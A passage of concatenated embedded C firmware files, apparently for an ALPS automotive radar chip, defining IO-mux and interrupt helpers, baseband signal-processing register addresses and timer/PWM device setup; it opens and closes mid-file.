raw_writel(REG_DMU_MUX_SPI_M0_OFFSET + REL_REGBASE_DMU, func & 0xF);
}
/* spi-s on APB. */
static inline void io_mux_spi_s0_func_sel(uint32_t func)
{
raw_writel(REG_DMU_MUX_SPI_S_OFFSET + REL_REGBASE_DMU, func & 0xF);
}
static inline void io_mux_jtag_func_sel(uint32_t func)
{
raw_writel(REG_DMU_MUX_JTAG_OFFSET + REL_REGBASE_DMU, func & 0xF);
}
static inline void io_mux_qspi_m1_sel(void)
{
io_mux_spi_m1_func_sel(IO_MUX_FUNC2);
}
static inline void io_mux_fmcw_start_sel(void)
{
raw_writel(REG_DMU_MUX_SPI_S1_CLK_OFFSET + REL_REGBASE_DMU, IO_MUX_FUNC2);
}
static inline void io_mux_fmcw_start_sel_disable(void)
{
raw_writel(REG_DMU_MUX_SPI_S1_CLK_OFFSET + REL_REGBASE_DMU, IO_MUX_FUNC4);
}
static inline void io_mux_qspi_s_sel(void)
{
io_mux_spi_s0_func_sel(IO_MUX_FUNC2);
raw_writel(REG_DMU_MUX_SPI_S1_MOSI_OFFSET + REL_REGBASE_DMU, IO_MUX_FUNC2);
raw_writel(REG_DMU_MUX_SPI_S1_MISO_OFFSET + REL_REGBASE_DMU, IO_MUX_FUNC2);
}
static inline void dmu_irq_enable(uint32_t irq, uint32_t en)
{
uint32_t shift = 0;
uint32_t addr = REL_REGBASE_DMU + REG_DMU_IRQ_ENA0_31_OFFSET;
addr += (irq >> 5) << 2;
shift = irq & 0x1F;
if (en) {
raw_writel(addr, raw_readl(addr) | (1 << shift));
} else {
raw_writel(addr, raw_readl(addr) & ~(1 << shift));
}
}
static inline void dmu_irq_select(uint32_t irq, uint32_t irq_sel)
{
uint32_t addr = REL_REGBASE_DMU + REG_DMU_IRQ25_SEL_OFFSET;
if ((irq >= 25) && (irq <= 31)) {
addr += (irq - 25) << 2;
raw_writel(addr, irq_sel);
}
}
static inline void dmu_pwm_output_enable(uint32_t id, uint32_t en)
{
if (en) {
raw_writel(REL_REGBASE_DMU + REG_DMU_SYS_PWM0_ENA_OFFSET, 0);
} else {
raw_writel(REL_REGBASE_DMU + REG_DMU_SYS_PWM0_ENA_OFFSET, 1);
}
}
static inline void dmu_otp_write_en(uint32_t enable)
{
if (enable) {
raw_writel(REL_REGBASE_DMU + REG_DMU_SYS_OTP_PRGM_EN_OFFSET, 1);
} else {
raw_writel(REL_REGBASE_DMU + REG_DMU_SYS_OTP_PRGM_EN_OFFSET, 0);
}
}
#endif
<file_sep>#ifndef BASEBAND_ALPS_B_REG_H
#define BASEBAND_ALPS_B_REG_H
/*--- ADDRESS ------------------------*/
#define BB_REG_BASEADDR 0xC00000
#define BB_REG_SYS_BASEADDR (BB_REG_BASEADDR+0x000)
#define BB_REG_AGC_BASEADDR (BB_REG_BASEADDR+0x200)
#define BB_REG_SAM_BASEADDR (BB_REG_BASEADDR+0x400)
#define BB_REG_FFT_BASEADDR (BB_REG_BASEADDR+0x600)
#define BB_REG_CFR_BASEADDR (BB_REG_BASEADDR+0x800)
#define BB_REG_BFM_BASEADDR (BB_REG_BASEADDR+0xa00)
#define BB_REG_DBG_BASEADDR (BB_REG_BASEADDR+0xc00)
/*sys register*/
#define BB_REG_SYS_START (BB_REG_SYS_BASEADDR+0x00)
#define BB_REG_SYS_BNK_MODE (BB_REG_SYS_BASEADDR+0x04)
#define BB_REG_SYS_BNK_ACT (BB_REG_SYS_BASEADDR+0x08)
#define BB_REG_SYS_BNK_QUE (BB_REG_SYS_BASEADDR+0x0C)
#define BB_REG_SYS_BNK_RST (BB_REG_SYS_BASEADDR+0x10)
#define BB_REG_SYS_MEM_ACT (BB_REG_SYS_BASEADDR+0x14)
#define BB_REG_SYS_ENABLE (BB_REG_SYS_BASEADDR+0x18)
#define BB_REG_SYS_SIZE_RNG_PRD (BB_REG_SYS_BASEADDR+0x1C)
#define BB_REG_SYS_SIZE_RNG_SKP (BB_REG_SYS_BASEADDR+0x20)
#define BB_REG_SYS_SIZE_RNG_BUF (BB_REG_SYS_BASEADDR+0x24)
#define BB_REG_SYS_SIZE_RNG_FFT (BB_REG_SYS_BASEADDR+0x28)
#define BB_REG_SYS_SIZE_BPM (BB_REG_SYS_BASEADDR+0x2C)
#define BB_REG_SYS_SIZE_VEL_BUF (BB_REG_SYS_BASEADDR+0x30)
#define BB_REG_SYS_SIZE_VEL_FFT (BB_REG_SYS_BASEADDR+0x34)
#define BB_REG_SYS_IRQ_ENA (BB_REG_SYS_BASEADDR+0x38)
#define BB_REG_SYS_IRQ_CLR (BB_REG_SYS_BASEADDR+0x3C)
#define BB_REG_SYS_ECC_ENA (BB_REG_SYS_BASEADDR+0x40)
#define BB_REG_SYS_ECC_SB_CLR (BB_REG_SYS_BASEADDR+0x44)
#define BB_REG_SYS_ECC_DB_CLR (BB_REG_SYS_BASEADDR+0x48)
#define BB_REG_SYS_STATUS (BB_REG_SYS_BASEADDR+0x4C)
#define BB_REG_FDB_SYS_BNK_ACT (BB_REG_SYS_BASEADDR+0x50)
#define BB_REG_FDB_SYS_IRQ_STATUS (BB_REG_SYS_BASEADDR+0x54)
#define BB_REG_FDB_SYS_ECC_SB_STATUS (BB_REG_SYS_BASEADDR+0x58)
#define BB_REG_FDB_SYS_ECC_DB_STATUS (BB_REG_SYS_BASEADDR+0x5C)
/*AGC regesiter*/
#define BB_REG_AGC_SAT_THR_TIA (BB_REG_AGC_BASEADDR+0x00)
#define BB_REG_AGC_SAT_THR_VGA1 (BB_REG_AGC_BASEADDR+0x04)
#define BB_REG_AGC_SAT_THR_VGA2 (BB_REG_AGC_BASEADDR+0x08)
#define BB_REG_AGC_DAT_MAX_SEL (BB_REG_AGC_BASEADDR+0x0C)
#define BB_REG_AGC_CODE_LNA_0 (BB_REG_AGC_BASEADDR+0x10)
#define BB_REG_AGC_CODE_LNA_1 (BB_REG_AGC_BASEADDR+0x14)
#define BB_REG_AGC_CODE_TIA_0 (BB_REG_AGC_BASEADDR+0x18)
#define BB_REG_AGC_CODE_TIA_1 (BB_REG_AGC_BASEADDR+0x1C)
#define BB_REG_AGC_CODE_TIA_2 (BB_REG_AGC_BASEADDR+0x20)
#define BB_REG_AGC_CODE_TIA_3 (BB_REG_AGC_BASEADDR+0x24)
#define BB_REG_AGC_GAIN_MIN (BB_REG_AGC_BASEADDR+0x28)
#define BB_REG_AGC_CDGN_INIT (BB_REG_AGC_BASEADDR+0x2C)
#define BB_REG_AGC_CDGN_C0_0 (BB_REG_AGC_BASEADDR+0x30)
#define BB_REG_AGC_CDGN_C0_1 (BB_REG_AGC_BASEADDR+0x34)
#define BB_REG_AGC_CDGN_C0_2 (BB_REG_AGC_BASEADDR+0x38)
#define BB_REG_AGC_CDGN_C1_0 (BB_REG_AGC_BASEADDR+0x3C)
#define BB_REG_AGC_CDGN_C1_1 (BB_REG_AGC_BASEADDR+0x40)
#define BB_REG_AGC_CDGN_C1_2 (BB_REG_AGC_BASEADDR+0x44)
#define BB_REG_AGC_CDGN_C1_3 (BB_REG_AGC_BASEADDR+0x48)
#define BB_REG_AGC_CDGN_C1_4 (BB_REG_AGC_BASEADDR+0x4C)
#define BB_REG_AGC_CDGN_C1_5 (BB_REG_AGC_BASEADDR+0x50)
#define BB_REG_AGC_CDGN_C1_6 (BB_REG_AGC_BASEADDR+0x54)
#define BB_REG_AGC_CDGN_C1_7 (BB_REG_AGC_BASEADDR+0x58)
#define BB_REG_AGC_CDGN_C1_8 (BB_REG_AGC_BASEADDR+0x5C)
#define BB_REG_AGC_FORCE (BB_REG_AGC_BASEADDR+0x60)
#define BB_REG_AGC_COD_C0 (BB_REG_AGC_BASEADDR+0x64)
#define BB_REG_AGC_COD_C1 (BB_REG_AGC_BASEADDR+0x68)
#define BB_REG_AGC_COD_C2 (BB_REG_AGC_BASEADDR+0x6C)
#define BB_REG_AGC_COD_C3 (BB_REG_AGC_BASEADDR+0x70)
#define BB_REG_AGC_SAT_CNT_TIA_C0 (BB_REG_AGC_BASEADDR+0x74)
#define BB_REG_AGC_SAT_CNT_TIA_C1 (BB_REG_AGC_BASEADDR+0x78)
#define BB_REG_AGC_SAT_CNT_TIA_C2 (BB_REG_AGC_BASEADDR+0x7C)
#define BB_REG_AGC_SAT_CNT_TIA_C3 (BB_REG_AGC_BASEADDR+0x80)
#define BB_REG_AGC_SAT_CNT_VGA1_C0 (BB_REG_AGC_BASEADDR+0x84)
#define BB_REG_AGC_SAT_CNT_VGA1_C1 (BB_REG_AGC_BASEADDR+0x88)
#define BB_REG_AGC_SAT_CNT_VGA1_C2 (BB_REG_AGC_BASEADDR+0x8C)
#define BB_REG_AGC_SAT_CNT_VGA1_C3 (BB_REG_AGC_BASEADDR+0x90)
#define BB_REG_AGC_SAT_CNT_VGA2_C0 (BB_REG_AGC_BASEADDR+0x94)
#define BB_REG_AGC_SAT_CNT_VGA2_C1 (BB_REG_AGC_BASEADDR+0x98)
#define BB_REG_AGC_SAT_CNT_VGA2_C2 (BB_REG_AGC_BASEADDR+0x9C)
#define BB_REG_AGC_SAT_CNT_VGA2_C3 (BB_REG_AGC_BASEADDR+0xA0)
#define BB_REG_AGC_DAT_MAX_1ST_C0 (BB_REG_AGC_BASEADDR+0xA4)
#define BB_REG_AGC_DAT_MAX_1ST_C1 (BB_REG_AGC_BASEADDR+0xA8)
#define BB_REG_AGC_DAT_MAX_1ST_C2 (BB_REG_AGC_BASEADDR+0xAC)
#define BB_REG_AGC_DAT_MAX_1ST_C3 (BB_REG_AGC_BASEADDR+0xB0)
#define BB_REG_AGC_DAT_MAX_2ND_C0 (BB_REG_AGC_BASEADDR+0xB4)
#define BB_REG_AGC_DAT_MAX_2ND_C1 (BB_REG_AGC_BASEADDR+0xB8)
#define BB_REG_AGC_DAT_MAX_2ND_C2 (BB_REG_AGC_BASEADDR+0xBC)
#define BB_REG_AGC_DAT_MAX_2ND_C3 (BB_REG_AGC_BASEADDR+0xC0)
#define BB_REG_AGC_DAT_MAX_3RD_C0 (BB_REG_AGC_BASEADDR+0xC4)
#define BB_REG_AGC_DAT_MAX_3RD_C1 (BB_REG_AGC_BASEADDR+0xC8)
#define BB_REG_AGC_DAT_MAX_3RD_C2 (BB_REG_AGC_BASEADDR+0xCC)
#define BB_REG_AGC_DAT_MAX_3RD_C3 (BB_REG_AGC_BASEADDR+0xD0)
/*SAM register*/
#define BB_REG_SAM_SINKER (BB_REG_SAM_BASEADDR+0x00)
#define BB_REG_SAM_OFFSET (BB_REG_SAM_BASEADDR+0x04)
#define BB_REG_SAM_FILT_CNT (BB_REG_SAM_BASEADDR+0x08)
#define BB_REG_SAM_F_0_S1 (BB_REG_SAM_BASEADDR+0x0C)
#define BB_REG_SAM_F_0_B1 (BB_REG_SAM_BASEADDR+0x10)
#define BB_REG_SAM_F_0_A1 (BB_REG_SAM_BASEADDR+0x14)
#define BB_REG_SAM_F_0_A2 (BB_REG_SAM_BASEADDR+0x18)
#define BB_REG_SAM_F_1_S1 (BB_REG_SAM_BASEADDR+0x1C)
#define BB_REG_SAM_F_1_B1 (BB_REG_SAM_BASEADDR+0x20)
#define BB_REG_SAM_F_1_A1 (BB_REG_SAM_BASEADDR+0x24)
#define BB_REG_SAM_F_1_A2 (BB_REG_SAM_BASEADDR+0x28)
#define BB_REG_SAM_F_2_S1 (BB_REG_SAM_BASEADDR+0x2C)
#define BB_REG_SAM_F_2_B1 (BB_REG_SAM_BASEADDR+0x30)
#define BB_REG_SAM_F_2_A1 (BB_REG_SAM_BASEADDR+0x34)
#define BB_REG_SAM_F_2_A2 (BB_REG_SAM_BASEADDR+0x38)
#define BB_REG_SAM_F_3_S1 (BB_REG_SAM_BASEADDR+0x3C)
#define BB_REG_SAM_F_3_B1 (BB_REG_SAM_BASEADDR+0x40)
#define BB_REG_SAM_F_3_A1 (BB_REG_SAM_BASEADDR+0x44)
#define BB_REG_SAM_F_3_A2 (BB_REG_SAM_BASEADDR+0x48)
#define BB_REG_SAM_FNL_SHF (BB_REG_SAM_BASEADDR+0x4C)
#define BB_REG_SAM_FNL_SCL (BB_REG_SAM_BASEADDR+0x50)
#define BB_REG_SAM_DE_INT_ENA (BB_REG_SAM_BASEADDR+0x54)
#define BB_REG_SAM_DE_INT_DAT (BB_REG_SAM_BASEADDR+0x58)
#define BB_REG_SAM_DE_INT_MSK (BB_REG_SAM_BASEADDR+0x5C)
#define BB_REG_SAM_FORCE (BB_REG_SAM_BASEADDR+0x60)
/* for debug data in SAM module*/
#define BB_REG_SAM_DBG_SRC (BB_REG_SAM_BASEADDR+0x64)
/* before down sampling or after down sampling */
#define BB_REG_SAM_DBG_SRC_BF 0
#define BB_REG_SAM_DBG_SRC_AF 1
#define BB_REG_SAM_SIZE_DBG_BGN (BB_REG_SAM_BASEADDR+0x68)
#define BB_REG_SAM_SIZE_DBG_END (BB_REG_SAM_BASEADDR+0x6C)
/*selection bit for data format of ADC data*/
#define BB_REG_SAM_FRMT_ADC (BB_REG_SAM_BASEADDR+0x70)
/*4 valid data in every 4 samples or 4 valid data in every 5 samples*/
#define BB_REG_SAM_FRMT_ADC_4IN4 0
#define BB_REG_SAM_FRMT_ADC_4IN5 1
/*FFT register*/
#define BB_REG_FFT_SHFT_RNG (BB_REG_FFT_BASEADDR+0x00)
#define BB_REG_FFT_SHFT_VEL (BB_REG_FFT_BASEADDR+0x04)
#define BB_REG_FFT_DAMB_ENA (BB_REG_FFT_BASEADDR+0x08)
#define BB_REG_FFT_DRCT_CPN (BB_REG_FFT_BASEADDR+0x0C)
#define BB_REG_FFT_NO_WIN (BB_REG_FFT_BASEADDR+0x10)
/* CFAR register*/
/*upper bound for object number*/
#define BB_REG_CFR_SIZE_OBJ (BB_REG_CFR_BASEADDR+0x00)
#define BB_REG_CFR_BACK_RNG (BB_REG_CFR_BASEADDR+0x04)
#define BB_REG_CFR_TYPE_CMB (BB_REG_CFR_BASEADDR+0x08)
#define CFR_TYPE_CMB_SISO 0
#define CFR_TYPE_CMB_MIMO 1
#define CFR_TYPE_CMB_DBPM 2
#define CFR_TYPE_CMB_MUSIC 3
#define BB_REG_CFR_MIMO_NUM (BB_REG_CFR_BASEADDR+0x0C)
/*offset address of MIMO coefficients*/
#define BB_REG_CFR_MIMO_ADR (BB_REG_CFR_BASEADDR+0x10)
#define BB_REG_CFR_TYPE_DEC (BB_REG_CFR_BASEADDR+0x14)
#define CFR_TYPE_DEC_CA 0
#define CFR_TYPE_DEC_OS 1
#define CFR_TYPE_DEC_CA_AND_OS 2
#define CFR_TYPE_DEC_CA_OR_OS 3
#define BB_REG_CFR_CA_MASK_0 (BB_REG_CFR_BASEADDR+0x18)
#define BB_REG_CFR_CA_MASK_1 (BB_REG_CFR_BASEADDR+0x1C)
#define BB_REG_CFR_CA_MASK_2 (BB_REG_CFR_BASEADDR+0x20)
#define BB_REG_CFR_CA_MASK_3 (BB_REG_CFR_BASEADDR+0x24)
#define BB_REG_CFR_CA_MASK_4 (BB_REG_CFR_BASEADDR+0x28)
#define BB_REG_CFR_CA_MASK_5 (BB_REG_CFR_BASEADDR+0x2C)
#define BB_REG_CFR_CA_MASK_6 (BB_REG_CFR_BASEADDR+0x30)
#define BB_REG_CFR_CA_DATA_SCL (BB_REG_CFR_BASEADDR+0x34)
#define BB_REG_CFR_OS_MASK_0 (BB_REG_CFR_BASEADDR+0x38)
#define BB_REG_CFR_OS_MASK_1 (BB_REG_CFR_BASEADDR+0x3C)
#define BB_REG_CFR_OS_MASK_2 (BB_REG_CFR_BASEADDR+0x40)
#define BB_REG_CFR_OS_MASK_3 (BB_REG_CFR_BASEADDR+0x44)
#define BB_REG_CFR_OS_MASK_4 (BB_REG_CFR_BASEADDR+0x48)
#define BB_REG_CFR_OS_MASK_5 (BB_REG_CFR_BASEADDR+0x4C)
#define BB_REG_CFR_OS_MASK_6 (BB_REG_CFR_BASEADDR+0x50)
#define BB_REG_CFR_OS_DATA_SCL (BB_REG_CFR_BASEADDR+0x54)
#define BB_REG_CFR_OS_DATA_THR (BB_REG_CFR_BASEADDR+0x58)
#define BB_REG_CFR_PK_MASK_0 (BB_REG_CFR_BASEADDR+0x5C)
#define BB_REG_CFR_PK_MASK_1 (BB_REG_CFR_BASEADDR+0x60)
#define BB_REG_CFR_PK_MASK_2 (BB_REG_CFR_BASEADDR+0x64)
#define BB_REG_CFR_PK_MASK_3 (BB_REG_CFR_BASEADDR+0x68)
#define BB_REG_CFR_PK_MASK_4 (BB_REG_CFR_BASEADDR+0x6C)
#define BB_REG_CFR_PK_MASK_5 (BB_REG_CFR_BASEADDR+0x70)
#define BB_REG_CFR_PK_MASK_6 (BB_REG_CFR_BASEADDR+0x74)
#define BB_REG_CFR_PK_DATA_THR (BB_REG_CFR_BASEADDR+0x78)
/*detected obj num*/
#define BB_REG_CFR_NUMB_OBJ (BB_REG_CFR_BASEADDR+0x7C)
/*DOA regisetr*/
/* normal mode or cascade mode*/
#define BB_REG_BFM_MODE (BB_REG_BFM_BASEADDR+0x00)
#define BB_REG_BFM_MODE_NORMAL 0
#define BB_REG_BFM_MODE_CASCADE 1
/*merged object number*/
#define BB_REG_BFM_NUMB_OBJ_CAS (BB_REG_BFM_BASEADDR+0x04)
/* BFM method*/
#define BB_REG_BFM_TYPE (BB_REG_BFM_BASEADDR+0x08)
#define BB_REG_BFM_TYPE_NORMAL 0
#define BB_REG_BFM_TYPE_MUSIC 1
/*music related*/
#define BB_REG_BFM_M_TYP_SMO (BB_REG_BFM_BASEADDR+0x0C)
#define BB_REG_BFM_M_TYP_SMO_FORW 0
#define BB_REG_BFM_M_TYP_SMO_FRBK 1
#define BB_REG_BFM_M_NEI_ENA (BB_REG_BFM_BASEADDR+0x10)
/*size of sub-array is (x + 1)*/
#define BB_REG_BFM_M_SIZ_SUB (BB_REG_BFM_BASEADDR+0x14)
/*enable bit for de-BPM*/
#define BB_REG_BFM_DBPM_ENA (BB_REG_BFM_BASEADDR+0x18)
/*offset address of de-BPM coefficients*/
#define BB_REG_BFM_DBPM_ADR (BB_REG_BFM_BASEADDR+0x1C)
/*number of directions to be searched for each BFM input*/
#define BB_REG_BFM_NUMB_GRP (BB_REG_BFM_BASEADDR+0x20)
/*obj num share in a bin*/
#define BB_REG_BFM_NUMB_SCH (BB_REG_BFM_BASEADDR+0x24)
/*BFM and 2d BFM related*/
/* group 0 related*/
/*offset address of BFM/MUSIC coefficients of 0th direction*/
#define BB_REG_BFM_GRP_0_ADDR_COE (BB_REG_BFM_BASEADDR+0x28)
/*offset address of BFM spectrum of 0th direction */
#define BB_REG_BFM_GRP_0_ADDR_SHP (BB_REG_BFM_BASEADDR+0x2C)
#define BB_REG_BFM_GRP_0_SIZE_ANG (BB_REG_BFM_BASEADDR+0x30)
/*number of antennas to be combined in 0th direction*/
#define BB_REG_BFM_GRP_0_SIZE_CMB (BB_REG_BFM_BASEADDR+0x34)
/* rx idx stored for bfm,IDX_x store most 4 rx idx*/
#define BB_REG_BFM_GRP_0_DATA_IDX_0 (BB_REG_BFM_BASEADDR+0x38)
#define BB_REG_BFM_GRP_0_DATA_IDX_1 (BB_REG_BFM_BASEADDR+0x3C)
#define BB_REG_BFM_GRP_0_DATA_IDX_2 (BB_REG_BFM_BASEADDR+0x40)
#define BB_REG_BFM_GRP_0_DATA_IDX_3 (BB_REG_BFM_BASEADDR+0x44)
#define BB_REG_BFM_GRP_0_DATA_IDX_4 (BB_REG_BFM_BASEADDR+0x48)
#define BB_REG_BFM_GRP_0_DATA_IDX_5 (BB_REG_BFM_BASEADDR+0x4C)
#define BB_REG_BFM_GRP_0_DATA_IDX_6 (BB_REG_BFM_BASEADDR+0x50)
#define BB_REG_BFM_GRP_0_DATA_IDX_7 (BB_REG_BFM_BASEADDR+0x54)
#define BB_REG_BFM_GRP_0_SCLR_SIG (BB_REG_BFM_BASEADDR+0x58)
#define BB_REG_BFM_GRP_0_SCLR_NOI (BB_REG_BFM_BASEADDR+0x5C)
#define BB_REG_BFM_GRP_1_ADDR_COE (BB_REG_BFM_BASEADDR+0x60)
#define BB_REG_BFM_GRP_1_ADDR_SHP (BB_REG_BFM_BASEADDR+0x64)
#define BB_REG_BFM_GRP_1_SIZE_ANG (BB_REG_BFM_BASEADDR+0x68)
#define BB_REG_BFM_GRP_1_SIZE_CMB (BB_REG_BFM_BASEADDR+0x6C)
#define BB_REG_BFM_GRP_1_DATA_IDX_0 (BB_REG_BFM_BASEADDR+0x70)
#define BB_REG_BFM_GRP_1_DATA_IDX_1 (BB_REG_BFM_BASEADDR+0x74)
#define BB_REG_BFM_GRP_1_DATA_IDX_2 (BB_REG_BFM_BASEADDR+0x78)
#define BB_REG_BFM_GRP_1_DATA_IDX_3 (BB_REG_BFM_BASEADDR+0x7C)
#define BB_REG_BFM_GRP_1_DATA_IDX_4 (BB_REG_BFM_BASEADDR+0x80)
#define BB_REG_BFM_GRP_1_DATA_IDX_5 (BB_REG_BFM_BASEADDR+0x84)
#define BB_REG_BFM_GRP_1_DATA_IDX_6 (BB_REG_BFM_BASEADDR+0x88)
#define BB_REG_BFM_GRP_1_DATA_IDX_7 (BB_REG_BFM_BASEADDR+0x8C)
#define BB_REG_BFM_GRP_1_SCLR_SIG (BB_REG_BFM_BASEADDR+0x90)
#define BB_REG_BFM_GRP_1_SCLR_NOI (BB_REG_BFM_BASEADDR+0x94)
#define BB_REG_BFM_GRP_2_ADDR_COE (BB_REG_BFM_BASEADDR+0x98)
#define BB_REG_BFM_GRP_2_ADDR_SHP (BB_REG_BFM_BASEADDR+0x9C)
#define BB_REG_BFM_GRP_2_SIZE_ANG (BB_REG_BFM_BASEADDR+0xA0)
#define BB_REG_BFM_GRP_2_SIZE_CMB (BB_REG_BFM_BASEADDR+0xA4)
#define BB_REG_BFM_GRP_2_DATA_IDX_0 (BB_REG_BFM_BASEADDR+0xA8)
#define BB_REG_BFM_GRP_2_DATA_IDX_1 (BB_REG_BFM_BASEADDR+0xAC)
#define BB_REG_BFM_GRP_2_DATA_IDX_2 (BB_REG_BFM_BASEADDR+0xB0)
#define BB_REG_BFM_GRP_2_DATA_IDX_3 (BB_REG_BFM_BASEADDR+0xB4)
#define BB_REG_BFM_GRP_2_DATA_IDX_4 (BB_REG_BFM_BASEADDR+0xB8)
#define BB_REG_BFM_GRP_2_DATA_IDX_5 (BB_REG_BFM_BASEADDR+0xBC)
#define BB_REG_BFM_GRP_2_DATA_IDX_6 (BB_REG_BFM_BASEADDR+0xC0)
#define BB_REG_BFM_GRP_2_DATA_IDX_7 (BB_REG_BFM_BASEADDR+0xC4)
#define BB_REG_BFM_GRP_2_SCLR_SIG (BB_REG_BFM_BASEADDR+0xC8)
#define BB_REG_BFM_GRP_2_SCLR_NOI (BB_REG_BFM_BASEADDR+0xCC)
/*dump data register*/
#define BB_REG_DBG_TARGET (BB_REG_DBG_BASEADDR+0x00)
#define DBG_TARGET_ADC (1<<0)
#define DBG_TARGET_FFT_1D (1<<1)
#define DBG_TARGET_FFT_2D (1<<2)
#define DBG_TARGET_CFR (1<<3)
#define DBG_TARGET_BFM (1<<4)
#define BB_REG_DBG_MAP_BUF (BB_REG_DBG_BASEADDR+0x04)
#define DBG_MAP_BUF_VBAR 0
#define DBG_MAP_BUF_MBUF 1
#define BB_REG_DBG_MAP_RLT (BB_REG_DBG_BASEADDR+0x08)
#define DBG_MAP_RLT_WD 1
#define DBG_MAP_RLT_BOPS 0
#define DBG_MAP_RLT_BPSO 1
#define BB_REG_DBG_DAC_ENA (BB_REG_DBG_BASEADDR+0x0c)
#define BB_REG_DBG_DAC_MUL (BB_REG_DBG_BASEADDR+0x10)
#define BB_REG_DBG_DAC_DIV (BB_REG_DBG_BASEADDR+0x14)
/*--- VALUE, MASK OR SHIFT -----------*/
#define BB_REG_SYS_BNK_MODE_SINGLE 0
#define BB_REG_SYS_BNK_MODE_MULTI 1
#define BB_REG_SYS_BNK_MODE_ROTATE 2
#define BB_REG_SYS_MEM_ACT_COD 0
#define BB_REG_SYS_MEM_ACT_WIN 1
#define BB_REG_SYS_MEM_ACT_BUF 2
#define BB_REG_SYS_MEM_ACT_COE 3
#define BB_REG_SYS_MEM_ACT_MAC 4
#define BB_REG_SYS_MEM_ACT_RLT 5
#define BB_REG_SYS_MEM_ACT_SHP 6
/* 9 enable */
#define BB_REG_SYS_ENABLE_AGC_MASK 0x1
#define BB_REG_SYS_ENABLE_HIL_MASK 0x1
#define BB_REG_SYS_ENABLE_SAM_MASK 0x1
#define BB_REG_SYS_ENABLE_DMP_MID_MASK 0x1
#define BB_REG_SYS_ENABLE_FFT_1D_MASK 0x1
#define BB_REG_SYS_ENABLE_FFT_2D_MASK 0x1
#define BB_REG_SYS_ENABLE_CFR_MASK 0x1
#define BB_REG_SYS_ENABLE_BFM_MASK 0x1
#define BB_REG_SYS_ENABLE_DMP_FNL_MASK 0x1
#define BB_REG_SYS_ENABLE_AGC_SHIFT 0
#define BB_REG_SYS_ENABLE_HIL_SHIFT 1
#define BB_REG_SYS_ENABLE_SAM_SHIFT 2
#define BB_REG_SYS_ENABLE_DMP_MID_SHIFT 3
#define BB_REG_SYS_ENABLE_FFT_1D_SHIFT 4
#define BB_REG_SYS_ENABLE_FFT_2D_SHIFT 5
#define BB_REG_SYS_ENABLE_CFR_SHIFT 6
#define BB_REG_SYS_ENABLE_BFM_SHIFT 7
#define BB_REG_SYS_ENABLE_DMP_FNL_SHIFT 8
#define BB_REG_ECC_MODE_OFF 0
#define BB_REG_ECC_MODE_SB 1
#define BB_REG_ECC_MODE_DB 2 /* DB err should occur in cfr_buf & top_mac */
#define BB_REG_ADC_MODE_SAM 0
#define BB_REG_ADC_MODE_HIL 1 /* HIL is only supported under "DIRECT" FFT_MODE */
#define BB_MEM_BASEADDR 0x800000
#define BB_MEM_BASEADDR_CH_OFFSET 0x040000 /* TODO: check the usage in bb_dc_command in baseband_cli.c*/
#define BB_REG_MEM_SIZE_COD_WD 6
#define BB_REG_MEM_DATA_COE_WD 28
#define BB_REG_SYS_SIZE_ANT 4
#define BB_REG_SYS_DATA_ADC_WD 13
#define BB_REG_SYS_DATA_WIN_WD 16
#define BB_REG_SYS_DATA_FFT_WD 26
#define BB_REG_SYS_DATA_COM_WD 32
#define BB_REG_SYS_DATA_SIG_WD 20
#define BB_REG_AGC_DATA_COD_WD 9
#define BB_REG_AGC_DATA_GAI_WD 8
#define BB_REG_SAM_DATA_COE_WD 8
#define BB_REG_SAM_DATA_SCL_WD 10
#define BB_REG_FFT_DATA_AMB_WD 4
#define BB_REG_FFT_DATA_COE_WD 14
#define BB_REG_CFR_SIZE_MIM_WD 4
#define SAM_SINKER_BUF 0
#define SAM_SINKER_FFT 1
#define SAM_FORCE_ENABLE 1
#define SAM_FORCE_DISABLE 0
#define ANT_NUM 4
#define SYS_SIZE_RNG_WD 11 /* defined in RTL */
#define SYS_SIZE_VEL_WD 9 /* defined in RTL */
/* name sync with ALPS_A */
#define SYS_BUF_STORE_ADC SAM_SINKER_BUF
#define SYS_BUF_STORE_FFT SAM_SINKER_FFT
#define BB_IRQ_ENABLE_ALL 0x7
#define BB_IRQ_CLEAR_ALL 0x7
#define BB_IRQ_ENABLE_SAM_DONE 0x4
#define BB_IRQ_CLEAR_SAM_DONE 0x4
#define BB_ECC_ERR_CLEAR_ALL 0x7ff
#define SYS_SIZE_OBJ_WD 8 /* maximal object number is 256 */
#define RESULT_SIZE 128 /* 128 bytes */
/*--- TYPEDEF -------------------------*/
typedef struct {
uint32_t ang_0 : 16; /* 0x00 */
uint32_t ang_1 : 9;
uint32_t is_obj_1 : 7;
uint32_t ang_2 : 9; /* 0x04 */
uint32_t is_obj_2 : 7;
uint32_t ang_3 : 9;
uint32_t is_obj_3 : 7;
uint32_t sig_0 ; /* 0x08 */
uint32_t sig_1 ; /* 0x0C */
uint32_t sig_2 ; /* 0x10 */
uint32_t sig_3 ; /* 0x14 */
} doa_info_t;
typedef struct {
uint32_t vel : 16; /* 0x00 */
uint32_t rng : 16;
uint32_t noi : 32; /* 0x04 */
doa_info_t doa[3];
uint32_t dummy[12];
} obj_info_t;
#endif
<file_sep>#include "embARC_toolchain.h"
#include "alps/alps.h"
#include "dw_timer.h"
static uint8_t dev_timer_int[4] = {
INTNO_DW_TIMER0,
INTNO_DW_TIMER1,
INTNO_DW_TIMER2,
INTNO_DW_TIMER3
};
static dw_timer_t dev_timer = {
.base = REL_REGBASE_TIMER0,
.timer_cnt = 4,
.int_no = dev_timer_int
};
static uint8_t dev_pwm_int[] = {
INTNO_DW_PWM0,
INTNO_DW_PWM1,
#ifdef CHIP_ALPS_MP
INT_PWM2_IRQ,
INT_PWM3_IRQ,
INT_PWM4_IRQ,
INT_PWM5_IRQ,
INT_PWM6_IRQ,
INT_PWM7_IRQ
#endif
};
static dw_timer_t dev_pwm = {
.base = REL_REGBASE_PWM,
.int_no = dev_pwm_int,
.timer_cnt = CHIP_PWM_NO
};
static void timer_resource_install(void)
{
dw_timer_install_ops(&dev_timer);
}
void *timer_get_dev(void)
{
static uint32_t timer_install_flag = 0;
if (0 == timer_install_flag) {
timer_resource_install();
timer_install_flag = 1;
}
return (void *)&dev_timer;
}
static void pwm_resource_install(void)
{
dw_timer_install_ops(&dev_pwm);
}
void *pwm_get_dev(void)
{
static uint32_t pwm_install_flag = 0;
if (0 == pwm_install_flag) {
pwm_resource_install();
pwm_install_flag = 1;
}
return (void *)&dev_pwm;
}
<file_sep>#ifndef EMU_REG_H
#define EMU_REG_H
/*--- EMU ADDRESS (BB LBIST) ------------------------*/
#define EMU_REG_BASEADDR 0xB00000
#define EMU_REG_BB_LBIST_CLK_ENA (EMU_REG_BASEADDR+0x208)
#define EMU_REG_BB_LBIST_MODE (EMU_REG_BASEADDR+0x20c)
